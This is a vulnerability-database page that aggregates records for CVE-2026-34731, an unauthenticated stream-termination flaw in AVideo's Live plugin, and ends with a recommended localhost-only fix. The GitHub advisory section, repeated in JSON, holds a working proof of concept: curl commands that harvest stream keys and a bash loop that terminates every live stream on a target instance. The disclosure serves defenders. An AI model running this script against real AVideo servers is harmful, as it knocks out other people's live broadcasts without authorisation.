Vulnerability-Lookup

CVE-2026-34731 (GCVE-0-2026-34731)

Vulnerability from cvelistv5 – Published: 2026-03-31 20:50 – Updated: 2026-04-01 15:53

Title

AVideo: Unauthenticated Live Stream Termination via RTMP Callback on_publish_done.php

Summary

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo on_publish_done.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so. An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to on_publish_done.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform. At time of publication, there are no publicly available patches.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M

References

URL

Tags

https://github.com/WWBN/AVideo/security/advisorie…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-34731

Vulnerability from fkie_nvd - Published: 2026-03-31 21:16 - Updated: 2026-04-01 18:37

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-4jcg-jxpf-5vq3	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-4jcg-jxpf-5vq3	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo on_publish_done.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so. An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to on_publish_done.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform. At time of publication, there are no publicly available patches."
    }
  ],
  "id": "CVE-2026-34731",
  "lastModified": "2026-04-01T18:37:42.803",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
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  },
  "published": "2026-03-31T21:16:31.760",
  "references": [
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      "source": "security-advisories@github.com",
      "tags": [
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        "Vendor Advisory"
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    },
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      "tags": [
        "Exploit",
        "Vendor Advisory"
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      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4jcg-jxpf-5vq3"
    }
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  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-306"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-4JCG-JXPF-5VQ3

Vulnerability from github – Published: 2026-04-01 21:04 – Updated: 2026-04-01 21:04

Summary

AVideo: Unauthenticated Live Stream Termination via RTMP Callback on_publish_done.php

Details

Summary

The AVideo on_publish_done.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so.

An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to on_publish_done.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform.

Details

The file plugin/Live/on_publish_done.php processes RTMP server callbacks when a stream ends. It accepts a POST parameter name (the stream key) and directly uses it to look up and terminate the corresponding stream session.

// plugin/Live/on_publish_done.php
$row = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, 10);
$insert_row = LiveTransmitionHistory::finishFromTransmitionHistoryId($row['id']);

There is no authentication check anywhere in the file - no User::isLogged(), no User::isAdmin(), no token validation. The endpoint is designed to be called by the RTMP server (e.g., Nginx-RTMP), but since it is a standard HTTP endpoint, any external client can call it directly.

Additionally, stream keys can be harvested from the unauthenticated stats.json.php endpoint, which returns information about active streams including their keys.

Proof of Concept

Retrieve active stream keys from the unauthenticated stats endpoint:

curl -s "https://your-avideo-instance.com/plugin/Live/stats.json.php" | python3 -m json.tool

Terminate a live stream by sending a POST request with the stream key:

curl -X POST "https://your-avideo-instance.com/plugin/Live/on_publish_done.php" \
  -d "name=STREAM_KEY_HERE"

The server responds with HTTP 200 and the stream is marked as finished in the live_transmitions_history table. The streamer's broadcast is terminated.
To disrupt all active streams, iterate over keys returned from step 1:

#!/bin/bash
# Terminate all active streams on a target AVideo instance
TARGET="https://your-avideo-instance.com"

curl -s "$TARGET/plugin/Live/stats.json.php" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
for stream in data.get('applications', []):
    for client in stream.get('live', {}).get('streams', []):
        print(client.get('name', ''))
" | while read -r key; do
  [ -z "$key" ] && continue
  echo "[*] Terminating stream: $key"
  curl -s -X POST "$TARGET/plugin/Live/on_publish_done.php" -d "name=$key"
done

Impact

Any unauthenticated attacker can terminate live broadcasts on an AVideo instance. This constitutes a denial-of-service vulnerability against the live streaming functionality. Combined with the unauthenticated stream key enumeration from stats.json.php, an attacker can systematically disrupt all active streams on the platform.

CWE-306: Missing Authentication for Critical Function
Severity: Medium

Recommended Fix

Restrict the RTMP callback endpoint to localhost connections only at plugin/Live/on_publish_done.php:3:

// plugin/Live/on_publish_done.php:3
if (!in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
    http_response_code(403);
    die('Forbidden');
}

Since this endpoint is designed to be called by the local RTMP server (e.g., Nginx-RTMP), it should only accept requests from localhost. External clients should never be able to invoke it directly.

Found by aisafe.io

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:04:09Z",
    "nvd_published_at": "2026-03-31T21:16:31Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe AVideo `on_publish_done.php` endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so.\n\nAn attacker can enumerate active stream keys from the unauthenticated `stats.json.php` endpoint, then send crafted POST requests to `on_publish_done.php` to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform.\n\n## Details\n\nThe file `plugin/Live/on_publish_done.php` processes RTMP server callbacks when a stream ends. It accepts a POST parameter `name` (the stream key) and directly uses it to look up and terminate the corresponding stream session.\n\n```php\n// plugin/Live/on_publish_done.php\n$row = LiveTransmitionHistory::getLatest($_POST[\u0027name\u0027], $live_servers_id, 10);\n$insert_row = LiveTransmitionHistory::finishFromTransmitionHistoryId($row[\u0027id\u0027]);\n```\n\nThere is no authentication check anywhere in the file - no `User::isLogged()`, no `User::isAdmin()`, no token validation. The endpoint is designed to be called by the RTMP server (e.g., Nginx-RTMP), but since it is a standard HTTP endpoint, any external client can call it directly.\n\nAdditionally, stream keys can be harvested from the unauthenticated `stats.json.php` endpoint, which returns information about active streams including their keys.\n\n## Proof of Concept\n\n1. Retrieve active stream keys from the unauthenticated stats endpoint:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/plugin/Live/stats.json.php\" | python3 -m json.tool\n```\n\n2. Terminate a live stream by sending a POST request with the stream key:\n\n```bash\ncurl -X POST \"https://your-avideo-instance.com/plugin/Live/on_publish_done.php\" \\\n  -d \"name=STREAM_KEY_HERE\"\n```\n\n3. The server responds with HTTP 200 and the stream is marked as finished in the `live_transmitions_history` table. The streamer\u0027s broadcast is terminated.\n\n4. To disrupt all active streams, iterate over keys returned from step 1:\n\n```bash\n#!/bin/bash\n# Terminate all active streams on a target AVideo instance\nTARGET=\"https://your-avideo-instance.com\"\n\ncurl -s \"$TARGET/plugin/Live/stats.json.php\" \\\n  | python3 -c \"\nimport sys, json\ndata = json.load(sys.stdin)\nfor stream in data.get(\u0027applications\u0027, []):\n    for client in stream.get(\u0027live\u0027, {}).get(\u0027streams\u0027, []):\n        print(client.get(\u0027name\u0027, \u0027\u0027))\n\" | while read -r key; do\n  [ -z \"$key\" ] \u0026\u0026 continue\n  echo \"[*] Terminating stream: $key\"\n  curl -s -X POST \"$TARGET/plugin/Live/on_publish_done.php\" -d \"name=$key\"\ndone\n```\n\n## Impact\n\nAny unauthenticated attacker can terminate live broadcasts on an AVideo instance. This constitutes a denial-of-service vulnerability against the live streaming functionality. Combined with the unauthenticated stream key enumeration from `stats.json.php`, an attacker can systematically disrupt all active streams on the platform.\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **Severity**: Medium\n\n## Recommended Fix\n\nRestrict the RTMP callback endpoint to localhost connections only at `plugin/Live/on_publish_done.php:3`:\n\n```php\n// plugin/Live/on_publish_done.php:3\nif (!in_array($_SERVER[\u0027REMOTE_ADDR\u0027], [\u0027127.0.0.1\u0027, \u0027::1\u0027])) {\n    http_response_code(403);\n    die(\u0027Forbidden\u0027);\n}\n```\n\nSince this endpoint is designed to be called by the local RTMP server (e.g., Nginx-RTMP), it should only accept requests from localhost. External clients should never be able to invoke it directly.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-4jcg-jxpf-5vq3",
  "modified": "2026-04-01T21:04:09Z",
  "published": "2026-04-01T21:04:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4jcg-jxpf-5vq3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34731"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/e0b9e71f6f3b34f12ad78c1a69d4e1f584b49673"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated Live Stream Termination via RTMP Callback on_publish_done.php"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-34731 (GCVE-0-2026-34731)

FKIE_CVE-2026-34731

GHSA-4JCG-JXPF-5VQ3

Summary

Details

Proof of Concept

Impact

Recommended Fix

Tags

Sightings

Nomenclature